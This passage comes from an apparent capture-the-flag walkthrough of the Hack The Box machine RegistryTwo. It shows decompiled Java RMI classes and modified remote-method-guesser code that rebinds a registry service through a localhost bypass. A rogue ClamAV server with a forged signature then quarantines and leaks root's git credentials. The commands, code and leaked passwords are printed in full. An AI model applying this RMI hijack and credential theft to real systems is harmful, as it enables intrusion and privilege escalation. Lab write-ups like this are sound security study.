FileServiceImpl.class<br>│               ├── quarantine<br>│               │   ├── QuarantineConfiguration.class<br>│               │   ├── QuarantineService.class<br>│               │   └── QuarantineServiceImpl.class<br>│               ├── Server.class<br>│               └── utils<br>│                   ├── CryptUtil.class<br>│                   ├── FileUtil.class<br>│                   └── StringUtil.class<br>└── META-INF<br>    └── MANIFEST.MF</pre><h4><strong>Creating a custom rouge RMI Server</strong></h4><p>So the class names tell us that this is the RMI server source code. Let us examine it and see what we can find. The quarantine folder seems to be interesting because you can find quarantine folder in / of server.</p><p><strong>Class QuarantineServiceImpl</strong></p><pre>// Source code is decompiled from a .class file using FernFlower decompiler.<br>package com.htb.hosting.rmi.quarantine;<br>import com.htb.hosting.rmi.FileServiceConstants;<br>import java.io.File;<br>import java.rmi.RemoteException;<br>import java.util.logging.Logger;<br>public class QuarantineServiceImpl implements QuarantineService {<br>   private static final Logger logger = Logger.getLogger(QuarantineServiceImpl.class.getSimpleName());<br>   private static final QuarantineConfiguration DEFAULT_CONFIG;<br>   public QuarantineServiceImpl() {<br>   }<br>   public QuarantineConfiguration getConfiguration() throws RemoteException {<br>      logger.info(&quot;client fetching configuration&quot;);<br>      return DEFAULT_CONFIG;<br>   }<br>   static {<br>      DEFAULT_CONFIG = new QuarantineConfiguration(new File(&quot;/root/quarantine&quot;), FileServiceConstants.SITES_DIRECTORY, &quot;localhost&quot;, 3310, 1000);<br>   }<br>}</pre><p>So here the backend code creates a new instance of QuarantineConfiguration and passes it some parameters. We should look at the QuarantineConfiguration class to understand exactly what it does. But I already have some predictions. Port 3310 is the ClamAV server and I guess this will pass the files from SITES_DIRECTORY that are uploaded by clients on the server to ClamAV and in case of detection the file will be quarantined in /root/quarantine. So when we want to quarantine another file, we cannot access this folder, so we will change /root/quarantine to /tmp/quarantine and now when a file is quarantined, we can access it !</p><p><strong>Class QuarantineConfiguration</strong></p><pre>// Source code is decompiled from a .class file using FernFlower decompiler.<br>package com.htb.hosting.rmi.quarantine;<br>import java.io.File;<br>import java.io.Serializable;<br>public class QuarantineConfiguration implements Serializable {<br>   private final File quarantineDirectory;<br>   private final File monitorDirectory;<br>   private final String clamHost;<br>   private final int clamPort;<br>   private final int clamTimeout;<br>   public QuarantineConfiguration(File quarantineDirectory, File monitorDirectory, String clamHost, int clamPort, int clamTimeout) {<br>      this.quarantineDirectory = quarantineDirectory;<br>      this.monitorDirectory = monitorDirectory;<br>      this.clamHost = clamHost;<br>      this.clamPort = clamPort;<br>      this.clamTimeout = clamTimeout;<br>   }<br>   public File getQuarantineDirectory() {<br>      return this.quarantineDirectory;<br>   }<br>   public File getMonitorDirectory() {<br>      return this.monitorDirectory;<br>   }<br>   public String getClamHost() {<br>      return this.clamHost;<br>   }<br>   public int getClamPort() {<br>      return this.clamPort;<br>   }<br>   public int getClamTimeout() {<br>      return this.clamTimeout;<br>   }<br>   public boolean equals(Object o) {<br>      if (o == this) {<br>         return true;<br>      } else if (!(o instanceof QuarantineConfiguration)) {<br>         return false;<br>      } else {<br>         QuarantineConfiguration other = (QuarantineConfiguration)o;<br>         if (!other.canEqual(this)) {<br>            return false;<br>         } else if (this.getClamPort() != other.getClamPort()) {<br>            return false;<br>         } else if (this.getClamTimeout() != other.getClamTimeout()) {<br>            return false;<br>         } else {<br>            label52: {<br>               Object this$quarantineDirectory = this.getQuarantineDirectory();<br>               Object other$quarantineDirectory = other.getQuarantineDirectory();<br>               if (this$quarantineDirectory == null) {<br>                  if (other$quarantineDirectory == null) {<br>                     break label52;<br>                  }<br>               } else if (this$quarantineDirectory.equals(other$quarantineDirectory)) {<br>                  break label52;<br>               }<br>               return false;<br>            }<br>            Object this$monitorDirectory = this.getMonitorDirectory();<br>            Object other$monitorDirectory = other.getMonitorDirectory();<br>            if (this$monitorDirectory == null) {<br>               if (other$monitorDirectory != null) {<br>                  return false;<br>               }<br>            } else if (!this$monitorDirectory.equals(other$monitorDirectory)) {<br>               return false;<br>            }<br>            Object this$clamHost = this.getClamHost();<br>            Object other$clamHost = other.getClamHost();<br>            if (this$clamHost == null) {<br>               if (other$clamHost != null) {<br>                  return false;<br>               }<br>            } else if (!this$clamHost.equals(other$clamHost)) {<br>               return false;<br>            }<br>            return true;<br>         }<br>      }<br>   }<br>   protected boolean canEqual(Object other) {<br>      return other instanceof QuarantineConfiguration;<br>   }<br>   public int hashCode() {<br>      int PRIME = true;<br>      int result = 1;<br>      result = result * 59 + this.getClamPort();<br>      result = result * 59 + this.getClamTimeout();<br>      Object $quarantineDirectory = this.getQuarantineDirectory();<br>      result = result * 59 + ($quarantineDirectory == null ? 43 : $quarantineDirectory.hashCode());<br>      Object $monitorDirectory = this.getMonitorDirectory();<br>      result = result * 59 + ($monitorDirectory == null ? 43 : $monitorDirectory.hashCode());<br>      Object $clamHost = this.getClamHost();<br>      result = result * 59 + ($clamHost == null ? 43 : $clamHost.hashCode());<br>      return result;<br>   }<br>   public String toString() {<br>      return &quot;QuarantineConfiguration(quarantineDirectory=&quot; + this.getQuarantineDirectory() + &quot;, monitorDirectory=&quot; + this.getMonitorDirectory() + &quot;, clamHost=&quot; + this.getClamHost() + &quot;, clamPort=&quot; + this.getClamPort() + &quot;, clamTimeout=&quot; + this.getClamTimeout() + &quot;)&quot;;<br>   }<br>}</pre><p>The QuarantineConfiguration class, is exactly that what i thought. This just monitor a directory, and will send them to the ClamAV server and check for Anomalies.</p><pre>developer@registry:/opt$ clamscan -V<br>ClamAV 0.103.8/26959/Tue Jul  4 07:29:23 2023</pre><p><strong>Class FileServiceConstans</strong></p><pre>// Source code is decompiled from a .class file using FernFlower decompiler.<br>package com.htb.hosting.rmi;</pre><pre>import java.io.File;</pre><pre>public class FileServiceConstants {<br>   public static final File SITES_DIRECTORY = new File(&quot;/sites&quot;);</pre><pre>   public FileServiceConstants() {<br>   }<br>}</pre><p>This class might be pretty interesting because you can configure the SITES_DIRECTROY and if you can change it to anything else that you what could be pretty useful.</p><p>So with the information I have gathered so far, I can see an attack path. The idea is that we can start our custom Rouge RMI server and manipulate the quarantine configuration so that the server checks the /root folder instead of /sites and the interesting part comes. You can build your custom signatures for ClamAV and if the file that is in /root on our machine has different signature as the file on the server (which is 100% different) the file on the server will be quarantined. And than most likely we can access that file.</p><pre>/*<br> * Decompiled with CFR 0.144.<br> */<br>package com.htb.hosting.rmi;</pre><pre>import java.io.File;</pre><pre>public class FileServiceConstants {<br>    public static final File SITES_DIRECTORY = new File(&quot;/root&quot;);<br>}</pre><p>So I just changed the /sites to /root and now we should create a file, it could be anything but its very important that this file exists in /root on the server.</p><h4>Modified RMG</h4><p>But during the worked, i asked a question. How can i use my server instead of the running server ? So i cant portforward the port 9002via ssh to access it from my machine, but i cant stop the running port 9002 on the server.</p><pre>┌──(ar0x㉿kali)-[~/…/HTB/Machines/RegistryTwo/RMIServerTest]<br>└─$ sshpass -p &#39;qybWiMTRg0sIHz4beSTUzrVIl7t3YsCj9&#39; ssh developer@webhosting.htb -L 9002:127.0.0.1:9002 -N</pre><p>After i just started using rmg (remote-method-guess) to enumerate the RMI Server.</p><pre>┌──(ar0x㉿kali)-[~/…/Machines/RegistryTwo/remote-method-guesser/target]<br>└─$ java -jar rmg.jar enum 127.0.0.1 9002<br>Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true<br>[+] RMI registry bound names:<br>[+]<br>[+]     - QuarantineService<br>[+]             --&gt; com.htb.hosting.rmi.quarantine.QuarantineService (unknown class)<br>[+]                 Endpoint: registry.webhosting.htb:40163  TLS: no  ObjID: [-31e00346:18c2a4aec41:-7ffe, -408739197962975509]<br>[+]     - FileService<br>[+]             --&gt; com.htb.hosting.rmi.FileService (unknown class)<br>[+]                 Endpoint: registry.webhosting.htb:40163  TLS: no  ObjID: [-31e00346:18c2a4aec41:-7fff, -9193675061270937181]<br>[+]<br>[+] RMI server codebase enumeration:<br>[+]<br>[+]     - The remote server does not expose any codebases.<br>[+]<br>[+] RMI server String unmarshalling enumeration:<br>[+]<br>[+]     - Server complained that object cannot be casted to java.lang.String.<br>[+]       --&gt; The type java.lang.String is unmarshalled via readString().<br>[+]       Configuration Status: Current Default<br>[+]<br>[+] RMI server useCodebaseOnly enumeration:<br>[+]<br>[+]     - RMI registry uses readString() for unmarshalling java.lang.String.<br>[+]       This prevents useCodebaseOnly enumeration from remote.<br>[+]<br>[+] RMI registry localhost bypass enumeration (CVE-2019-2684):<br>[+]<br>[+]     - Caught NotBoundException during unbind call (unbind was accepted).<br>[+]       Vulnerability Status: Vulnerable<br>[+]<br>[+] RMI Security Manager enumeration:<br>[+]<br>[+]     - Caught Exception containing &#39;no security manager&#39; during RMI call.<br>[+]       --&gt; The server does not use a Security Manager.<br>[+]       Configuration Status: Current Default<br>[+]<br>[+] RMI server JEP290 enumeration:<br>[+]<br>[+]     - DGC rejected deserialization of java.util.HashMap (JEP290 is installed).<br>[+]       Vulnerability Status: Non Vulnerable<br>[+]<br>[+] RMI registry JEP290 bypass enumeration:<br>[+]<br>[+]     - RMI registry uses readString() for unmarshalling java.lang.String.<br>[+]       This prevents JEP 290 bypass enumeration from remote.<br>[+]<br>[+] RMI ActivationSystem enumeration:<br>[+]<br>[+]     - Caught NoSuchObjectException during activate call (activator not present).<br>[+]       Configuration Status: Current Default</pre><p>Thats great, this makes everything much easier. It looks like that we can unbind the RMI service and this solve the problem that we had earlier.</p><pre>[+] RMI registry localhost bypass enumeration (CVE-2019-2684):<br>[+]<br>[+]     - Caught NotBoundException during unbind call (unbind was accepted).<br>[+]       Vulnerability Status: Vulnerable</pre><p>So since rmg can do this for us, I thought I could write a plugin for it to add some custom params we need for our server. Unfortunately the plugin plan failed miserably, but I just added some new classes and new methods to this tool and it now I guess the classes and methods we created for this tool should work!</p><p><strong>Class RegistryClient (RMG source)</strong></p><pre>/**<br>     * Invokes the rebind method on the RMI endpoint. Basically the same as the bind method that<br>     * was already described above.<br>     *<br>     * @param boundName the bound name that will be rebound on the registry<br>     * @param payloadObject the remote object that is bind to the registry<br>     * @param localhostBypass whether to use CVE-2019-268 for the rebind operation<br>     * @param serverIPAddress server ip address for the RMI server to listen<br>     * @param clamAVServer clamAV server address<br>     */<br>public static String[] clamAVAddress = new String[2];<br>    public void rebindObject(String boundName, Object payloadObject, boolean localhostBypass, String rougeServerAddress, String clamAVServer)<br>    { <br>        QuarantineServiceImpl quarantineService = null;<br>        QuarantineService quarantineServiceStub = null;<br>        FileServiceImpl fileService = null;<br>        FileService fileServiceStub = null;<br>        boolean isQuaratineService = false;<br>        boolean isFileService = false;<br>        if (boundName.equals(&quot;QuarantineService&quot;)){<br>            Logger.printlnBlue(&quot;QurantineService bound name detected.&quot;);<br>            try {<br>                if (clamAVServer == null){<br>                    System.exit(0);<br>                    Logger.println(&quot;ClamAV server address is empty.&quot;);<br>                }<br>                clamAVAddress = checkTheServerIP(clamAVServer);<br>                String[] serverAddress = checkTheServerIP(rougeServerAddress);<br>                System.setProperty(&quot;java.rmi.server.hostname&quot;, serverAddress[0]);<br>                quarantineService = new QuarantineServiceImpl();<br>                quarantineServiceStub = (QuarantineService)UnicastRemoteObject.exportObject(quarantineService, Integer.parseInt(serverAddress[1]));<br>                payloadObject = quarantineService;<br>                isQuaratineService = true;<br>            }<br>            catch (Exception e) {<br>                System.out.println(&quot;Error: &quot; + e.getMessage());<br>            }<br>        }<br>        if(boundName.equals(&quot;FileService&quot;)){<br>            Logger.printlnBlue(&quot;FileService bound name detected.&quot;);<br>            try {<br>                String[] serverAddress = checkTheServerIP(rougeServerAddress);<br>                System.setProperty(&quot;java.rmi.server.hostname&quot;, serverAddress[0]);<br>                fileService = new FileServiceImpl();<br>                fileServiceStub = (FileService)UnicastRemoteObject.exportObject(fileService, Integer.parseInt(serverAddress[1]));<br>                payloadObject = fileService;<br>                isFileService = true;<br>            }<br>            catch (Exception e) {<br>                System.out.println(&quot;Error: &quot; + e.getMessage());<br>            }<br>        }<br>        String className = payloadObject.getClass().getName();<br>        Logger.printMixedBlue(&quot;Rebinding name&quot;, boundName, &quot;to &quot;);<br>        Logger.printlnPlainBlue(className);<br>        Logger.lineBreak();<br>        Logger.increaseIndent();<br>        MethodArguments callArguments = new MethodArguments(2);<br>        callArguments.add(boundName, String.class);<br>        callArguments.add(payloadObject, Object.class);<br>        try {<br>            registryCall(&quot;rebind&quot;, callArguments, false, localhostBypass);<br>            Logger.printlnMixedBlue(&quot;Encountered&quot;, &quot;no Exception&quot;, &quot;during rebind call.&quot;);<br>            Logger.printlnMixedYellow(&quot;Rebind operation&quot;, &quot;was probably successful.&quot;);<br>        } catch( java.rmi.ServerException e ) {<br>            Throwable t = ExceptionHandler.getCause(e);<br>            if( t instanceof java.rmi.AccessException &amp;&amp; t.getMessage().contains(&quot;non-local host&quot;) ) {<br>                ExceptionHandler.nonLocalhost(e, &quot;rebind&quot;, localhostBypass);<br>            } else if( t instanceof java.rmi.AccessException &amp;&amp; t.getMessage().contains(&quot;Cannot modify this registry&quot;)) {<br>                ExceptionHandler.singleEntryRegistry(e, &quot;rebind&quot;);<br>            } else if( t instanceof java.lang.ClassNotFoundException) {<br>                Logger.eprintlnMixedYellow(&quot;Rebind operation&quot;, &quot;was accepted&quot;, &quot;by the server.&quot;);<br>                Logger.eprintlnMixedBlue(&quot;But the class&quot;, &quot;RMIServerImpl_Stub&quot;, &quot;was not found.&quot;);<br>                Logger.eprintln(&quot;The server probably runs on a JRE with limited module access.&quot;);<br>            } else if( t instanceof java.io.InvalidClassException) {<br>                ExceptionHandler.invalidClassBind(e, &quot;Rebind&quot;, className);<br>            } else if( t instanceof java.lang.UnsupportedOperationException ) {<br>                ExceptionHandler.unsupportedOperationException(e, &quot;rebind&quot;);<br>            } else {<br>                ExceptionHandler.unexpectedException(e, &quot;rebind&quot;, &quot;call&quot;, false);<br>            }<br>        } catch( Exception e  ) {<br>            ExceptionHandler.unexpectedException(e, &quot;rebind&quot;, &quot;call&quot;, false);<br>        }<br>        if (isQuaratineService){<br>            try {<br>                UnicastRemoteObject.unexportObject(quarantineServiceStub, true);<br>            } catch (Exception e) {<br>                Logger.println(&quot;Error: &quot; + e.getMessage());<br>            }<br>        }<br>        if (isFileService){<br>            try {<br>                UnicastRemoteObject.unexportObject(fileServiceStub, true);<br>            } catch (Exception e) {<br>                Logger.println(&quot;Error: &quot; + e.getMessage());<br>            }<br>        }<br>    }</pre><p>Modified code snippets from <strong>QuarantineServiceImpl</strong> and <strong>FileServiceConstants</strong>.</p><pre>public class FileServiceConstants {<br>    public static final File SITES_DIRECTORY = new File(&quot;/root&quot;);<br>}</pre><pre>public class QuarantineServiceImpl<br>implements QuarantineService {<br>    private static final Logger logger = Logger.getLogger(QuarantineServiceImpl.class.getSimpleName());<br>    private static final QuarantineConfiguration DEFAULT_CONFIG = new QuarantineConfiguration(new File(&quot;/tmp/quarantine&quot;), FileServiceConstants.SITES_DIRECTORY, RegistryClient.clamAVAddress[0], Integer.parseInt(RegistryClient.clamAVAddress[1]), 1000);<br><br>    @Override<br>    public QuarantineConfiguration getConfiguration() throws RemoteException {<br>        logger.info(&quot;client fetching configuration&quot;);<br>        return DEFAULT_CONFIG;<br>    }<br>}</pre><p>There is more code that was written for rmg, but that is not important for this walkthrough.</p><h4>Setup rouge ClamAV server</h4><p>So now should just start the ClamAV server i used /usr/sbin/clamd -c /etc/clamav/clamd.conf to start the service with the new configuration. But before make sure that the service is stopped and you have now running ClamAV instances.</p><pre>┌──(root㉿kali)-[~]<br>└─# cat /etc/clamav/clamd.conf | tail -n 2<br>TCPSocket 3310<br>TCPAddr 0.0.0.0</pre><pre>┌──(root㉿kali)-[~]<br>└─# /usr/sbin/clamd -c /etc/clamav/clamd.conf<br>ERROR: Sat Dec  2 15:51:04 2023 -&gt; TCP: Cannot bind to [0.0.0.0]:3310: Address already in use</pre><pre>┌──(root㉿kali)-[~]<br>└─# ss -wuntpl | grep 3310                <br>tcp   LISTEN 0      15                0.0.0.0:3310       0.0.0.0:*    users:((&quot;clamd&quot;,pid=852387,fd=4))</pre><pre>┌──(ar0x㉿kali)-[~/…/Machines/RegistryTwo/remote-method-guesser_modified/target]<br>└─$ java -jar rmg-custom.jar rebind 127.0.0.1 9002 127.0.0.1:6565 QuarantineService --htb-rmiserver 10.10.14.81:6565 --htb-clamav 10.10.14.81:3310<br>Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true<br>[+] QurantineService bound name detected.<br>[+] Rebinding name QuarantineService to com.htb.hosting.rmi.quarantine.QuarantineServiceImpl<br>[+]<br>[+]     Encountered no Exception during rebind call.<br>[+]     Rebind operation was probably successful.<br>[+]     Error: object not exported<br>Dec 02, 2023 11:50:01 AM com.htb.hosting.rmi.quarantine.QuarantineServiceImpl getConfiguration<br>INFO: client fetching configuration</pre><p>I started the server and added two new parameters --htb-rmiserver and --htb-clamav. The first one will get the ip and port and it will start the RMI server on the given ip and port. The second is the ip and port of our ClamAV server. Before we test this with the real ClamAV instance, let us start the nc listener on it and wait to see if we get anything. After a few seconds I got the following result. We got zSCAN /root/.docker/buildx/.lock in response. This is great, because now RMI Server will scan the files in /root and so the files will be sent to <strong>our ClamAV server</strong> and we can see which file we want to read.</p><pre>┌──(ar0x㉿kali)-[~]<br>└─$ nc -lvnp 3310<br>listening on [any] 3310 ...<br>connect to [10.10.14.81] from (UNKNOWN) [10.129.229.28] 40344<br>zSCAN /root/.docker/buildx/.lock</pre><p>Activated the ClamAV server again, and started wireshark to capture the filenames. Lets check the result.</p><pre>● clamav-daemon.service - Clam AntiVirus userspace daemon<br>     Loaded: loaded (/lib/systemd/system/clamav-daemon.service; disabled; preset: disabled)<br>    Drop-In: /etc/systemd/system/clamav-daemon.service.d<br>             └─extend.conf<br>     Active: active (running) since Sat 2023-12-02 12:02:29 CET; 3min 33s ago<br>TriggeredBy: ● clamav-daemon.socket<br>       Docs: man:clamd(8)<br>             man:clamd.conf(5)<br>             https://docs.clamav.net/<br>    Process: 752150 ExecStartPre=/bin/mkdir -p /run/clamav (code=exited, status=0/SUCCESS)<br>    Process: 752154 ExecStartPre=/bin/chown root /run/clamav (code=exited, status=0/SUCCESS)<br>   Main PID: 752157 (clamd)<br>      Tasks: 2 (limit: 37496)<br>     Memory: 1.4G<br>        CPU: 12.049s<br>     CGroup: /system.slice/clamav-daemon.service<br>             └─752157 /usr/sbin/clamd --foreground=true</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/985/0*Nlzg2iF8Clv-2nCC" /></figure><p>Thats great, user root has also .git-credentals so we can try to read this file. We also can just read root flag but neehhh, want a shell on this fucker.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/985/0*KSugZHwoRRy58iz2" /></figure><h4>Creating custom signature for .git-credentials</h4><p>This article is great and creates custom signatures with ClamAV like <a href="https://blog.adamsweet.org/?p=250">https://blog.adamsweet.org/?p=250</a>, I took that as a resource for the signature part. First we should start the ClamAV server on port 3310 and change the 127.0.0.1 address in /etc/clamav/conf.d to 0.0.0.0 so that everyone can access this port.</p><p>We use sigtool to calculate the signature of the new file from the first 2048 bytes.</p><pre>┌──(root㉿kali)-[~]<br>└─# echo &#39;ssuuii&#39; &gt; .git-credentials                          <br>┌──(root㉿kali)-[~]<br>└─# cat .git-credentials | sigtool --hex-dump | head -c 2048<br>7373757569690a</pre><p>Now that we have the signature, we should create our ndb file. The ndb file contains signatures, which are unique patterns of known (in our case unknown) malware. These signatures allow ClamAV to identify and block files or processes that match the patterns associated with malicious software.</p><p>We should edit customsig.ndb and prefix the contents with the appropriate name, type and offset in the following format</p><pre>Name:Type:Offset:HexOutput</pre><p>So I just took the name from the blog, but the name is completely irrelevant, you can call it amogus or kekwhatever, the next part I took 0because ClamAV has a table that indicates the MalwareType. And 0 stands for any file. We do not need to scan a specific offset, so we choose * to scan the whole file and at the end, the signature we created earlier.</p><pre>┌──(root㉿kali)-[/var/lib/clamav]<br>└─# cat customsig.ndb<br>Trojan.Win32.Emold.A:0:*:7373757569690a</pre><pre>Type is one of the following:<br>- 0 = any file<br>- 1 = Portable Executable (ie Windows exe)<br>- 2 = OLE2 component (e.g. a VBA script)<br>- 3 = HTML (normalised)<br>- 4 = Mail file<br>- 5 = Graphics<br>- 6 = ELF<br>- 7 = ASCII text file (normalised)</pre><p>Fingers crossed, we try again and see if we can get the .git credentials in the quarantine folder in `/tmp’.</p><pre>developer@registry:/tmp$ ls quarantine/<br>quarantine-run-2023-12-02T15:22:03.416973652</pre><p>Kaboooommmm, yeah fucker. Finally got it, now check the .git-credentials file.</p><pre>developer@registry:/tmp$ cat quarantine/quarantine-run-2023-12-02T15\:22\:03.416973652/_root_.git-credentials <br>https://admin:52nWqz3tejiImlbsihtV@github.com</pre><pre>admin:52nWqz3tejiImlbsihtV</pre><p>Great, here we have the root password. Lets change the user and we should probably get root access!</p><pre>developer@registry:/tmp$ su<br>Password: <br>root@registry:/tmp# cat /root/root.txt <br>44eb63dcdf0a75bbdb043df157cac81c</pre><p>Finally we finished this box, and this box was really fun and <strong>PAIN</strong>. But I learned a lot, so its ok.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b8b1bb692d66" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>